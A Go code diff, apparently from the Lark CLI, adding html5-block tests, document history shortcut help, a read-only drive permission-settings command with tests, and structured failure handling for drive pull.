+func TestDocsCreateV2HTML5BlockRejectsMissingReferenceMap(t *testing.T) {
+	f, stdout, _, _ := cmdutil.TestFactory(t, docsCreateTestConfig(t, ""))
+
+	err := runDocsCreateShortcut(t, f, stdout, []string{
+		"+create",
+		"--api-version", "v2",
+		"--content", `<html5-block data-ref="html5_1"></html5-block>`,
+		"--as", "user",
+	})
+	if err == nil || !strings.Contains(err.Error(), `reference_map.html5-block.html5_1 is required`) {
+		t.Fatalf("expected missing reference_map error, got: %v", err)
+	}
+}
+
+func TestDocsCreateV2HTML5BlockRejectsInternalDataAttr(t *testing.T) {
+	f, stdout, _, _ := cmdutil.TestFactory(t, docsCreateTestConfig(t, ""))
+
+	err := runDocsCreateShortcut(t, f, stdout, []string{
+		"+create",
+		"--api-version", "v2",
+		"--content", `<html5-block data="PGh0bWw+PC9odG1sPg=="></html5-block>`,
+		"--as", "user",
+	})
+	if err == nil || !strings.Contains(err.Error(), `html5-block data is reserved for SDK internals`) {
+		t.Fatalf("expected internal data attr error, got: %v", err)
+	}
+}
+
+func TestDocsCreateV2HTML5BlockPathReadFailure(t *testing.T) {
+	dir := t.TempDir()
+	cmdutil.TestChdir(t, dir)
+	f, stdout, _, _ := cmdutil.TestFactory(t, docsCreateTestConfig(t, ""))
+
+	err := runDocsCreateShortcut(t, f, stdout, []string{
+		"+create",
+		"--api-version", "v2",
+		"--content", `<html5-block path="@missing.html"></html5-block>`,
+		"--as", "user",
+	})
+	if err == nil || !strings.Contains(err.Error(), `html5-block path "missing.html" cannot be read from the current working directory`) {
+		t.Fatalf("expected path read error, got: %v", err)
+	}
+}
+
+func TestDocsCreateV2HTML5BlockRejectsInlineContent(t *testing.T) {
+	dir := t.TempDir()
+	cmdutil.TestChdir(t, dir)
+	if err := os.WriteFile("widget.html", []byte("<section>from file</section>"), 0o600); err != nil {
+		t.Fatalf("WriteFile() error: %v", err)
+	}
+
+	f, stdout, _, _ := cmdutil.TestFactory(t, docsCreateTestConfig(t, ""))
+	err := runDocsCreateShortcut(t, f, stdout, []string{
+		"+create",
+		"--api-version", "v2",
+		"--content", `<html5-block path="@widget.html"><section>inline</section></html5-block>`,
+		"--as", "user",
+	})
+	if err == nil || !strings.Contains(err.Error(), `html5-block content must be loaded from path="@relative.html"`) {
+		t.Fatalf("expected inline content error, got: %v", err)
+	}
+}
+
+func TestDocsFetchV2MissingHTML5BlockReferenceFails(t *testing.T) {
+	dir := t.TempDir()
+	cmdutil.TestChdir(t, dir)
+
+	f, stdout, _, reg := cmdutil.TestFactory(t, docsTestConfigWithAppID("docs-html5-fetch-missing"))
+	registerDocsAIStub(reg, "POST", "/open-apis/docs_ai/v1/documents/doxcn_fetch/fetch", map[string]interface{}{
+		"document": map[string]interface{}{
+			"document_id": "doxcn_fetch",
+			"revision_id": float64(3),
+			"content":     `<docx><html5-block data-ref="html5_missing"></html5-block></docx>`,
+			"reference_map": map[string]interface{}{
+				"html5-block": map[string]interface{}{
+					"html5_1": map[string]interface{}{"data": "<html></html>"},
+				},
+			},
+		},
+	})
+
+	err := mountAndRunDocs(t, DocsFetch, []string{
+		"+fetch",
+		"--api-version", "v2",
+		"--doc", "doxcn_fetch",
+		"--format", "json",
+		"--as", "user",
+	}, f, stdout)
+	if err == nil || !strings.Contains(err.Error(), "Re-run fetch or check that the upstream document.reference_map field includes this ref") {
+		t.Fatalf("expected missing reference_map error, got: %v", err)
+	}
+}
+
+func TestHTML5BlockMarkdownCodeFenceIsIgnored(t *testing.T) {
+	for _, fence := range []string{"```", "~~~"} {
+		t.Run(fence, func(t *testing.T) {
+			content := fence + "xml\n<html5-block data-ref=\"html5_1\"></html5-block>\n" + fence + "\n"
+			if hasProcessableHTML5Block("markdown", content) {
+				t.Fatalf("html5-block inside markdown code fence should be ignored")
+			}
+		})
+	}
+}
+
+func TestWriteHTML5BlockReferenceFileRejectsDotNames(t *testing.T) {
+	runtime := newFetchShortcutTestRuntime(t, "", nil)
+	tests := []struct {
+		name     string
+		docToken string
+		ref      string
+		want     string
+	}{
+		{name: "dot doc token", docToken: ".", ref: "html5_1", want: "document_id"},
+		{name: "dotdot doc token", docToken: "..", ref: "html5_1", want: "document_id"},
+		{name: "dot ref", docToken: "doxcn_fetch", ref: ".", want: "data-ref"},
+		{name: "dotdot ref", docToken: "doxcn_fetch", ref: "..", want: "data-ref"},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			_, err := writeHTML5BlockReferenceFile(runtime, tt.docToken, tt.ref, "<html></html>")
+			if err == nil || !strings.Contains(err.Error(), tt.want) {
+				t.Fatalf("writeHTML5BlockReferenceFile() error = %v, want %q", err, tt.want)
+			}
+		})
+	}
+}
+
+func TestPrepareHTML5BlockWriteContentMarkdownRaw(t *testing.T) {
+	dir := t.TempDir()
+	cmdutil.TestChdir(t, dir)
+	if err := os.WriteFile("widget.html", []byte("<html><body>markdown</body></html>"), 0o600); err != nil {
+		t.Fatalf("WriteFile() error: %v", err)
+	}
+
+	f, stdout, _, reg := cmdutil.TestFactory(t, docsCreateTestConfig(t, ""))
+	stub := registerDocsAIStub(reg, "POST", "/open-apis/docs_ai/v1/documents", map[string]interface{}{
+		"document": map[string]interface{}{
+			"document_id": "doxcn_new_doc",
+			"revision_id": float64(1),
+		},
+	})
+
+	err := runDocsCreateShortcut(t, f, stdout, []string{
+		"+create",
+		"--api-version", "v2",
+		"--doc-format", "markdown",
+		"--content", "before\n<html5-block path=\"@widget.html\"></html5-block>\nafter",
+		"--as", "user",
+	})
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	body := decodeRequestBody(t, stub.CapturedBody)
+	if got := body["content"].(string); !strings.Contains(got, `<html5-block data-ref="html5_1"></html5-block>`) {
+		t.Fatalf("content was not rewritten: %s", got)
+	}
+	refMap := decodeHTML5ReferenceMap(t, body["reference_map"])
+	if got := refMap[html5BlockTag]["html5_1"].Data; got != "<html><body>markdown</body></html>" {
+		t.Fatalf("reference_map html data = %q", got)
+	}
+}
+
+func registerDocsAIStub(reg *httpmock.Registry, method string, url string, data map[string]interface{}) *httpmock.Stub {
+	stub := &httpmock.Stub{
+		Method: method,
+		URL:    url,
+		Body: map[string]interface{}{
+			"code": 0,
+			"msg":  "ok",
+			"data": data,
+		},
+	}
+	reg.Register(stub)
+	return stub
+}
+
+func decodeRequestBody(t *testing.T, raw []byte) map[string]interface{} {
+	t.Helper()
+	var body map[string]interface{}
+	if err := json.Unmarshal(bytes.TrimSpace(raw), &body); err != nil {
+		t.Fatalf("decode request body: %v\n%s", err, raw)
+	}
+	return body
+}
+
+func decodeHTML5ReferenceMap(t *testing.T, raw interface{}) html5BlockReferenceMap {
+	t.Helper()
+	data, err := json.Marshal(raw)
+	if err != nil {
+		t.Fatalf("marshal reference_map: %v\n%#v", err, raw)
+	}
+	var refMap html5BlockReferenceMap
+	if err := json.Unmarshal(data, &refMap); err != nil {
+		t.Fatalf("decode reference_map: %v\n%s", err, data)
+	}
+	return refMap
+}

shortcuts/doc/shortcuts.go

@@ -31,6 +31,8 @@ func docsSkillReadCommandForShortcut(shortcut string) string {
 		return docsSkillReadCommand + " references/lark-doc-fetch.md"
 	case "update":
 		return docsSkillReadCommand + " references/lark-doc-update.md"
+	case "history-list", "history-revert", "history-revert-status":
+		return docsSkillReadCommand + " references/lark-doc-history.md"
 	default:
 		return docsSkillReadCommand
 	}
@@ -44,6 +46,12 @@ func docsHelpCommandForShortcut(shortcut string) string {
 		return "lark-cli docs +fetch --help"
 	case "update":
 		return "lark-cli docs +update --help"
+	case "history-list":
+		return "lark-cli docs +history-list --help"
+	case "history-revert":
+		return "lark-cli docs +history-revert --help"
+	case "history-revert-status":
+		return "lark-cli docs +history-revert-status --help"
 	default:
 		return "lark-cli docs --help"
 	}
@@ -56,6 +64,9 @@ func Shortcuts() []common.Shortcut {
 		DocsCreate,
 		DocsFetch,
 		DocsUpdate,
+		DocsHistoryList,
+		DocsHistoryRevert,
+		DocsHistoryRevertStatus,
 		DocMediaInsert,
 		DocMediaUpload,
 		DocMediaPreview,

shortcuts/drive/drive_permission_get_setting.go

@@ -0,0 +1,226 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package drive
+
+import (
+	"context"
+	"fmt"
+	"io"
+	"net/url"
+	"strings"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/validate"
+	"github.com/larksuite/cli/shortcuts/common"
+)
+
+type drivePermissionGetSettingSpec struct {
+	Token string
+	Type  string
+}
+
+var drivePermissionGetSettingTypes = []string{
+	"doc", "sheet", "file", "wiki", "bitable", "docx",
+	"mindnote", "minutes", "slides", "folder",
+}
+
+var drivePermissionGetSettingURLPathToType = []struct {
+	Prefix string
+	Type   string
+}{
+	{"/drive/folder/", "folder"},
+	{"/docx/", "docx"},
+	{"/doc/", "doc"},
+	{"/sheets/", "sheet"},
+	{"/base/", "bitable"},
+	{"/bitable/", "bitable"},
+	{"/wiki/", "wiki"},
+	{"/file/", "file"},
+	{"/mindnotes/", "mindnote"},
+	{"/slides/", "slides"},
+	{"/minutes/", "minutes"},
+}
+
+func readDrivePermissionGetSettingSpec(runtime *common.RuntimeContext) (drivePermissionGetSettingSpec, error) {
+	rawToken := strings.TrimSpace(runtime.Str("token"))
+	explicitType := strings.ToLower(strings.TrimSpace(runtime.Str("type")))
+
+	if rawToken == "" {
+		return drivePermissionGetSettingSpec{}, errs.NewValidationError(
+			errs.SubtypeInvalidArgument,
+			"--token is required",
+		).WithParam("--token")
+	}
+
+	if explicitType != "" && !drivePermissionGetSettingTypeAllowed(explicitType) {
+		return drivePermissionGetSettingSpec{}, errs.NewValidationError(
+			errs.SubtypeInvalidArgument,
+			"invalid --type %q: allowed values are %s",
+			explicitType,
+			strings.Join(drivePermissionGetSettingTypes, ", "),
+		).WithParam("--type")
+	}
+
+	if strings.Contains(rawToken, "://") {
+		ref, ok := parseDrivePermissionGetSettingResourceURL(rawToken)
+		if !ok {
+			return drivePermissionGetSettingSpec{}, errs.NewValidationError(
+				errs.SubtypeInvalidArgument,
+				"unsupported --token URL %q: pass a recognized Lark Drive document/folder URL or a bare token with --type",
+				rawToken,
+			).WithParam("--token")
+		}
+		if explicitType != "" && explicitType != ref.Type {
+			return drivePermissionGetSettingSpec{}, errs.NewValidationError(
+				errs.SubtypeInvalidArgument,
+				"--type %q conflicts with URL path type %q; remove --type or use a matching value",
+				explicitType,
+				ref.Type,
+			).WithParam("--type")
+		}
+		if err := validate.ResourceName(ref.Token, "--token"); err != nil {
+			return drivePermissionGetSettingSpec{}, errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err).WithParam("--token")
+		}
+		return drivePermissionGetSettingSpec{Token: ref.Token, Type: ref.Type}, nil
+	}
+
+	if explicitType == "" {
+		return drivePermissionGetSettingSpec{}, errs.NewValidationError(
+			errs.SubtypeInvalidArgument,
+			"--type is required when --token is a bare token (allowed: %s)",
+			strings.Join(drivePermissionGetSettingTypes, ", "),
+		).WithParam("--type")
+	}
+
+	if err := validate.ResourceName(rawToken, "--token"); err != nil {
+		return drivePermissionGetSettingSpec{}, errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err).WithParam("--token")
+	}
+	return drivePermissionGetSettingSpec{Token: rawToken, Type: explicitType}, nil
+}
+
+func parseDrivePermissionGetSettingResourceURL(rawURL string) (common.ResourceRef, bool) {
+	parsed, err := url.Parse(strings.TrimSpace(rawURL))
+	if err != nil || parsed.Hostname() == "" {
+		return common.ResourceRef{}, false
+	}
+
+	for _, mapping := range drivePermissionGetSettingURLPathToType {
+		if !strings.HasPrefix(parsed.Path, mapping.Prefix) {
+			continue
+		}
+		token := parsed.Path[len(mapping.Prefix):]
+		token = strings.TrimRight(token, "/")
+		if idx := strings.IndexByte(token, '/'); idx >= 0 {
+			token = token[:idx]
+		}
+		token = strings.TrimSpace(token)
+		if token == "" {
+			return common.ResourceRef{}, false
+		}
+		return common.ResourceRef{Type: mapping.Type, Token: token}, true
+	}
+
+	return common.ResourceRef{}, false
+}
+
+func drivePermissionGetSettingTypeAllowed(docType string) bool {
+	for _, allowed := range drivePermissionGetSettingTypes {
+		if docType == allowed {
+			return true
+		}
+	}
+	return false
+}
+
+func (s drivePermissionGetSettingSpec) url(runtime *common.RuntimeContext) string {
+	if runtime != nil && runtime.Config != nil {
+		if u := common.BuildResourceURL(runtime.Config.Brand, s.Type, s.Token); u != "" {
+			return u
+		}
+	}
+	return common.BuildResourceURL("", s.Type, s.Token)
+}
+
+func (s drivePermissionGetSettingSpec) params() map[string]interface{} {
+	return map[string]interface{}{"type": s.Type}
+}
+
+func (s drivePermissionGetSettingSpec) apiPath() string {
+	return drivePermissionPublicV2Path(s.Token)
+}
+
+func drivePermissionPublicV2Path(token string) string {
+	return fmt.Sprintf("/open-apis/drive/v2/permissions/%s/public", validate.EncodePathSegment(token))
+}
+
+func (s drivePermissionGetSettingSpec) output(runtime *common.RuntimeContext, data map[string]interface{}) map[string]interface{} {
+	permissionPublic := interface{}(data)
+	if nestedPermissionPublic := common.GetMap(data, "permission_public"); nestedPermissionPublic != nil {
+		permissionPublic = nestedPermissionPublic
+	}
+	return map[string]interface{}{
+		"permission_public": permissionPublic,
+	}
+}
+
+// DrivePermissionGetSetting queries permission_public settings for a Drive
+// document, file, wiki node, or folder.
+var DrivePermissionGetSetting = common.Shortcut{
+	Service:     "drive",
+	Command:     "+permission-get-setting",
+	Description: "Get public access, sharing, collaborator management, security, and comment permission settings",
+	Risk:        "read",
+	Scopes:      []string{"docs:permission.setting:read"},
+	AuthTypes:   []string{"user", "bot"},
+	HasFormat:   true,
+	Flags: []common.Flag{
+		{Name: "token", Desc: "target URL or bare token (doc/sheet/file/wiki/bitable/docx/mindnote/minutes/slides/folder)"},
+		{Name: "type", Desc: "target type; auto-inferred from URL, required for bare tokens", Enum: drivePermissionGetSettingTypes},
+	},
+	Tips: []string{
+		"--token accepts a Lark URL or bare token; pass --type when using a bare token.",
+		"Use --type folder for Drive folders. This shortcut reads the target's own permission settings; it does not recurse into child documents.",
+	},
+	Validate: func(ctx context.Context, runtime *common.RuntimeContext) error {
+		_, err := readDrivePermissionGetSettingSpec(runtime)
+		return err
+	},
+	DryRun: func(ctx context.Context, runtime *common.RuntimeContext) *common.DryRunAPI {
+		spec, err := readDrivePermissionGetSettingSpec(runtime)
+		if err != nil {
+			return common.NewDryRunAPI().Set("error", err.Error())
+		}
+		return common.NewDryRunAPI().
+			Desc("Get Drive permission settings").
+			GET(spec.apiPath()).
+			Params(spec.params())
+	},
+	Execute: func(ctx context.Context, runtime *common.RuntimeContext) error {
+		spec, err := readDrivePermissionGetSettingSpec(runtime)
+		if err != nil {
+			return err
+		}
+
+		fmt.Fprintf(runtime.IO().ErrOut, "Getting permission settings for %s %s...\n", spec.Type, common.MaskToken(spec.Token))
+		data, err := runtime.CallAPITyped(
+			"GET",
+			spec.apiPath(),
+			spec.params(),
+			nil,
+		)
+		if err != nil {
+			return err
+		}
+
+		out := spec.output(runtime, data)
+		runtime.OutFormat(out, nil, func(w io.Writer) {
+			fmt.Fprintf(w, "Type:  %s\n", spec.Type)
+			fmt.Fprintf(w, "Token: %s\n", spec.Token)
+			if url := spec.url(runtime); url != "" {
+				fmt.Fprintf(w, "URL:   %s\n", url)
+			}
+		})
+		return nil
+	},
+}

shortcuts/drive/drive_permission_get_setting_test.go

@@ -0,0 +1,365 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package drive
+
+import (
+	"context"
+	"encoding/json"
+	"reflect"
+	"strings"
+	"testing"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/httpmock"
+	"github.com/larksuite/cli/shortcuts/common"
+)
+
+func newDrivePermissionGetSettingRuntime(t *testing.T, token, docType string) *common.RuntimeContext {
+	t.Helper()
+
+	cmd := &cobra.Command{Use: "drive +permission-get-setting"}
+	cmd.Flags().String("token", "", "")
+	cmd.Flags().String("type", "", "")
+	if token != "" {
+		if err := cmd.Flags().Set("token", token); err != nil {
+			t.Fatalf("set --token: %v", err)
+		}
+	}
+	if docType != "" {
+		if err := cmd.Flags().Set("type", docType); err != nil {
+			t.Fatalf("set --type: %v", err)
+		}
+	}
+	return common.TestNewRuntimeContext(cmd, driveTestConfig())
+}
+
+func TestDrivePermissionGetSettingSpecResolvesTargets(t *testing.T) {
+	t.Parallel()
+
+	tests := []struct {
+		name     string
+		token    string
+		docType  string
+		wantTok  string
+		wantType string
+	}{
+		{
+			name:     "folder URL",
+			token:    "https://example.feishu.cn/drive/folder/fldTok?from=share",
+			wantTok:  "fldTok",
+			wantType: "folder",
+		},
+		{
+			name:     "docx URL",
+			token:    "https://example.feishu.cn/docx/doxTok",
+			wantTok:  "doxTok",
+			wantType: "docx",
+		},
+		{
+			name:     "file URL",
+			token:    "https://example.feishu.cn/file/boxTok",
+			wantTok:  "boxTok",
+			wantType: "file",
+		},
+		{
+			name:     "wiki URL",
+			token:    "https://example.feishu.cn/wiki/wikTok",
+			wantTok:  "wikTok",
+			wantType: "wiki",
+		},
+		{
+			name:     "minutes URL",
+			token:    "https://example.feishu.cn/minutes/obTok",
+			wantTok:  "obTok",
+			wantType: "minutes",
+		},
+		{
+			name:     "mindnotes URL",
+			token:    "https://example.feishu.cn/mindnotes/mndTok",
+			wantTok:  "mndTok",
+			wantType: "mindnote",
+		},
+		{
+			name:     "bare folder token",
+			token:    " fldTok ",
+			docType:  " folder ",
+			wantTok:  "fldTok",
+			wantType: "folder",
+		},
+		{
+			name:     "bare file token",
+			token:    "boxTok",
+			docType:  "file",
+			wantTok:  "boxTok",
+			wantType: "file",
+		},
+		{
+			name:     "bare wiki token",
+			token:    "wikTok",
+			docType:  "wiki",
+			wantTok:  "wikTok",
+			wantType: "wiki",
+		},
+	}
+
+	for _, temp := range tests {
+		tt := temp
+		t.Run(tt.name, func(t *testing.T) {
+			t.Parallel()
+
+			runtime := newDrivePermissionGetSettingRuntime(t, tt.token, tt.docType)
+			spec, err := readDrivePermissionGetSettingSpec(runtime)
+			if err != nil {
+				t.Fatalf("read spec: %v", err)
+			}
+			if spec.Token != tt.wantTok {
+				t.Fatalf("Token = %q, want %q", spec.Token, tt.wantTok)
+			}
+			if spec.Type != tt.wantType {
+				t.Fatalf("Type = %q, want %q", spec.Type, tt.wantType)
+			}
+		})
+	}
+}
+
+func TestDrivePermissionGetSettingSpecValidationErrorsAreTyped(t *testing.T) {
+	t.Parallel()
+
+	tests := []struct {
+		name        string
+		token       string
+		docType     string
+		wantParam   string
+		wantMessage string
+	}{
+		{
+			name:        "missing token",
+			wantParam:   "--token",
+			wantMessage: "--token is required",
+		},
+		{
+			name:        "bare token without type",
+			token:       "doxTok",
+			wantParam:   "--type",
+			wantMessage: "--type is required",
+		},
+		{
+			name:        "unsupported URL",
+			token:       "https://example.feishu.cn/calendar/calTok",
+			wantParam:   "--token",
+			wantMessage: "unsupported --token URL",
+		},
+		{
+			name:        "URL type conflict",
+			token:       "https://example.feishu.cn/docx/doxTok",
+			docType:     "sheet",
+			wantParam:   "--type",
+			wantMessage: "conflicts with URL path type",
+		},
+		{
+			name:        "invalid bare token",
+			token:       "../bad",
+			docType:     "folder",
+			wantParam:   "--token",
+			wantMessage: "--token",
+		},
+		{
+			name:        "invalid type",
+			token:       "doxTok",
+			docType:     "comment",
+			wantParam:   "--type",
+			wantMessage: "invalid --type",
+		},
+	}
+
+	for _, temp := range tests {
+		tt := temp
+		t.Run(tt.name, func(t *testing.T) {
+			t.Parallel()
+
+			runtime := newDrivePermissionGetSettingRuntime(t, tt.token, tt.docType)
+			_, err := readDrivePermissionGetSettingSpec(runtime)
+			if err == nil {
+				t.Fatal("expected validation error, got nil")
+			}
+			problem, ok := errs.ProblemOf(err)
+			if !ok {
+				t.Fatalf("error is not typed: %T %v", err, err)
+			}
+			if problem.Category != errs.CategoryValidation || problem.Subtype != errs.SubtypeInvalidArgument {
+				t.Fatalf("problem = %s/%s, want validation/invalid_argument", problem.Category, problem.Subtype)
+			}
+			if validationErr, ok := err.(*errs.ValidationError); ok {
+				if validationErr.Param != tt.wantParam {
+					t.Fatalf("param = %q, want %q", validationErr.Param, tt.wantParam)
+				}
+			} else {
+				t.Fatalf("error type = %T, want *errs.ValidationError", err)
+			}
+			if !strings.Contains(err.Error(), tt.wantMessage) {
+				t.Fatalf("error = %q, want substring %q", err.Error(), tt.wantMessage)
+			}
+		})
+	}
+}
+
+func TestDrivePermissionGetSettingDryRunIncludesGETRequest(t *testing.T) {
+	t.Parallel()
+
+	tests := []struct {
+		name     string
+		token    string
+		docType  string
+		wantURL  string
+		wantType string
+	}{
+		{
+			name:     "folder URL",
+			token:    "https://example.feishu.cn/drive/folder/fldTok",
+			wantURL:  "/open-apis/drive/v2/permissions/fldTok/public",
+			wantType: "folder",
+		},
+		{
+			name:     "bare folder token",
+			token:    "fldTok",
+			docType:  "folder",
+			wantURL:  "/open-apis/drive/v2/permissions/fldTok/public",
+			wantType: "folder",
+		},
+		{
+			name:     "docx URL",
+			token:    "https://example.feishu.cn/docx/doxTok",
+			wantURL:  "/open-apis/drive/v2/permissions/doxTok/public",
+			wantType: "docx",
+		},
+		{
+			name:     "bare wiki token",
+			token:    "wikTok",
+			docType:  "wiki",
+			wantURL:  "/open-apis/drive/v2/permissions/wikTok/public",
+			wantType: "wiki",
+		},
+		{
+			name:     "file URL",
+			token:    "https://example.feishu.cn/file/boxTok",
+			wantURL:  "/open-apis/drive/v2/permissions/boxTok/public",
+			wantType: "file",
+		},
+		{
+			name:     "minutes URL",
+			token:    "https://example.feishu.cn/minutes/obTok",
+			wantURL:  "/open-apis/drive/v2/permissions/obTok/public",
+			wantType: "minutes",
+		},
+		{
+			name:     "mindnotes URL",
+			token:    "https://example.feishu.cn/mindnotes/mndTok",
+			wantURL:  "/open-apis/drive/v2/permissions/mndTok/public",
+			wantType: "mindnote",
+		},
+	}
+
+	for _, temp := range tests {
+		tt := temp
+		t.Run(tt.name, func(t *testing.T) {
+			t.Parallel()
+
+			runtime := newDrivePermissionGetSettingRuntime(t, tt.token, tt.docType)
+			dry := DrivePermissionGetSetting.DryRun(context.Background(), runtime)
+			if dry == nil {
+				t.Fatal("DryRun returned nil")
+			}
+			data, err := json.Marshal(dry)
+			if err != nil {
+				t.Fatalf("marshal dry-run: %v", err)
+			}
+			out := string(data)
+			for _, want := range []string{
+				`"` + tt.wantURL + `"`,
+				`"GET"`,
+				`"type":"` + tt.wantType + `"`,
+			} {
+				if !strings.Contains(out, want) {
+					t.Fatalf("dry-run output missing %q:\n%s", want, out)
+				}
+			}
+			if strings.Contains(out, `"folder_token"`) {
+				t.Fatalf("dry-run output contains folder_token, want omitted:\n%s", out)
+			}
+		})
+	}
+}
+
+func TestDrivePermissionGetSettingExecutePreservesPermissionPublic(t *testing.T) {
+	f, stdout, _, reg := cmdutil.TestFactory(t, driveTestConfig())
+	reg.Register(&httpmock.Stub{
+		Method: "GET",
+		URL:    "/open-apis/drive/v2/permissions/doxTok/public?type=docx",
+		Body: map[string]interface{}{
+			"code": 0,
+			"msg":  "ok",
+			"data": map[string]interface{}{
+				"permission_public": map[string]interface{}{
+					"link_share_entity":          "closed",
+					"external_access_entity":     "closed",
+					"security_entity":            "anyone_can_view",
+					"comment_entity":             "anyone_can_view",
+					"share_entity":               "anyone",
+					"manage_collaborator_entity": "collaborator_can_view",
+					"lock_switch":                false,
+					"server_future_field":        "preserved",
+				},
+			},
+		},
+	})
+
+	err := mountAndRunDrive(t, DrivePermissionGetSetting, []string{
+		"+permission-get-setting",
+		"--token", "doxTok",
+		"--type", "docx",
+		"--as", "bot",
+	}, f, stdout)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	data := decodeDriveEnvelope(t, stdout)
+	for _, key := range []string{"type", "token", "url"} {
+		if _, ok := data[key]; ok {
+			t.Fatalf("data[%s] = %#v, want field omitted", key, data[key])
+		}
+	}
+	permissionPublic, _ := data["permission_public"].(map[string]interface{})
+	if permissionPublic == nil {
+		t.Fatalf("permission_public missing in output: %#v", data)
+	}
+	for key, want := range map[string]interface{}{
+		"link_share_entity":          "closed",
+		"external_access_entity":     "closed",
+		"security_entity":            "anyone_can_view",
+		"comment_entity":             "anyone_can_view",
+		"share_entity":               "anyone",
+		"manage_collaborator_entity": "collaborator_can_view",
+		"lock_switch":                false,
+		"server_future_field":        "preserved",
+	} {
+		if permissionPublic[key] != want {
+			t.Fatalf("permission_public[%s] = %#v, want %#v", key, permissionPublic[key], want)
+		}
+	}
+}
+
+func TestDrivePermissionGetSettingDeclaresScopeAndIdentities(t *testing.T) {
+	t.Parallel()
+
+	if !reflect.DeepEqual(DrivePermissionGetSetting.Scopes, []string{"docs:permission.setting:read"}) {
+		t.Fatalf("Scopes = %v, want docs:permission.setting:read", DrivePermissionGetSetting.Scopes)
+	}
+	if !reflect.DeepEqual(DrivePermissionGetSetting.AuthTypes, []string{"user", "bot"}) {
+		t.Fatalf("AuthTypes = %v, want [user bot]", DrivePermissionGetSetting.AuthTypes)
+	}
+}

shortcuts/drive/drive_pull.go

@@ -37,11 +37,16 @@ const (
 )
 
 type drivePullItem struct {
-	RelPath   string `json:"rel_path"`
-	FileToken string `json:"file_token,omitempty"`
-	SourceID  string `json:"source_id,omitempty"`
-	Action    string `json:"action"`
-	Error     string `json:"error,omitempty"`
+	RelPath    string `json:"rel_path"`
+	FileToken  string `json:"file_token,omitempty"`
+	SourceID   string `json:"source_id,omitempty"`
+	Action     string `json:"action"`
+	Error      string `json:"error,omitempty"`
+	Phase      string `json:"phase,omitempty"`
+	ErrorClass string `json:"error_class,omitempty"`
+	Code       int    `json:"code,omitempty"`
+	Subtype    string `json:"subtype,omitempty"`
+	Retryable  *bool  `json:"retryable,omitempty"`
 }
 
 type drivePullTarget struct {
@@ -189,6 +194,9 @@ var DrivePull = common.Shortcut{
 		sort.Strings(downloadablePaths)
 
 		for _, rel := range downloadablePaths {
+			if drivePullHasTerminalFailure(items) {
+				break
+			}
 			targetFile := remoteFiles[rel]
 			downloadToken := targetFile.DownloadToken
 			itemFileToken := targetFile.ItemFileToken
@@ -204,13 +212,9 @@ var DrivePull = common.Shortcut{
 				// pre-existing file under --if-exists=skip silently
 				// hides the conflict. Surface as a failure.
 				if info.IsDir() {
-					items = append(items, drivePullItem{
-						RelPath:   rel,
-						FileToken: itemFileToken,
-						SourceID:  itemSourceID,
-						Action:    "failed",
-						Error:     fmt.Sprintf("local path is a directory, remote is a regular file: %s", target),
-					})
+					conflictErr := errs.NewValidationError(errs.SubtypeFailedPrecondition, "local path is a directory, remote is a regular file: %s", target)
+					item, _ := drivePullFailedItem(rel, itemFileToken, itemSourceID, "failed", "local", conflictErr)
+					items = append(items, item)
 					failed++
 					downloadFailed++
 					continue
@@ -223,9 +227,14 @@ var DrivePull = common.Shortcut{
 			}
 
 			if err := drivePullDownload(ctx, runtime, downloadToken, target, targetFile.ModifiedTime); err != nil {
-				items = append(items, drivePullItem{RelPath: rel, FileToken: itemFileToken, SourceID: itemSourceID, Action: "failed", Error: err.Error()})
+				item, terminal := drivePullFailedItem(rel, itemFileToken, itemSourceID, "failed", "download", err)
+				items = append(items, item)
 				failed++
 				downloadFailed++
+				if terminal {
+					fmt.Fprintf(runtime.IO().ErrOut, "Aborting +pull after terminal %s failure: %v\n", item.Phase, err)
+					break
+				}
 				continue
 			}
 			items = append(items, drivePullItem{RelPath: rel, FileToken: itemFileToken, SourceID: itemSourceID, Action: "downloaded"})
@@ -251,7 +260,8 @@ var DrivePull = common.Shortcut{
 			for _, absPath := range localAbsPaths {
 				rel, relErr := filepath.Rel(safeRoot, absPath)
 				if relErr != nil {
-					items = append(items, drivePullItem{RelPath: absPath, Action: "delete_failed", Error: relErr.Error()})
+					item, _ := drivePullFailedItem(absPath, "", "", "delete_failed", "delete_local", relErr)
+					items = append(items, item)
 					failed++
 					continue
 				}
@@ -271,7 +281,9 @@ var DrivePull = common.Shortcut{
 				// acceptable here. Shortcuts cannot import internal/vfs
 				// directly (depguard rule shortcuts-no-vfs).
 				if err := os.Remove(absPath); err != nil { //nolint:forbidigo // see comment above
-					items = append(items, drivePullItem{RelPath: rel, Action: "delete_failed", Error: err.Error()})
+					deleteErr := errs.NewInternalError(errs.SubtypeFileIO, "delete local %q: %s", rel, err).WithCause(err)
+					item, _ := drivePullFailedItem(rel, "", "", "delete_failed", "delete_local", deleteErr)
+					items = append(items, item)
 					failed++
 					continue
 				}
@@ -286,6 +298,7 @@ var DrivePull = common.Shortcut{
 				"skipped":       skipped,
 				"failed":        failed,
 				"deleted_local": deletedLocal,
+				"aborted":       drivePullHasTerminalFailure(items),
 			},
 			"items": items,
 		}
@@ -317,6 +330,32 @@ var DrivePull = common.Shortcut{
 	},
 }
 
+func drivePullFailedItem(relPath, fileToken, sourceID, action, phase string, err error) (drivePullItem, bool) {
+	decision := driveClassifyBatchFailure(err)
+	item := drivePullItem{
+		RelPath:    relPath,
+		FileToken:  fileToken,
+		SourceID:   sourceID,
+		Action:     action,
+		Error:      err.Error(),
+		Phase:      phase,
+		ErrorClass: decision.Class,
+		Code:       decision.Code,
+		Subtype:    decision.Subtype,
+		Retryable:  driveBoolPtr(decision.Retryable),
+	}
+	return item, decision.Terminal
+}
+
+func drivePullHasTerminalFailure(items []drivePullItem) bool {
+	for _, item := range items {
+		if driveTerminalBatchErrorClass(item.ErrorClass) {
+			return true
+		}
+	}
+	return false
+}
+
 // drivePullDownload streams one Drive file into the local mirror target and
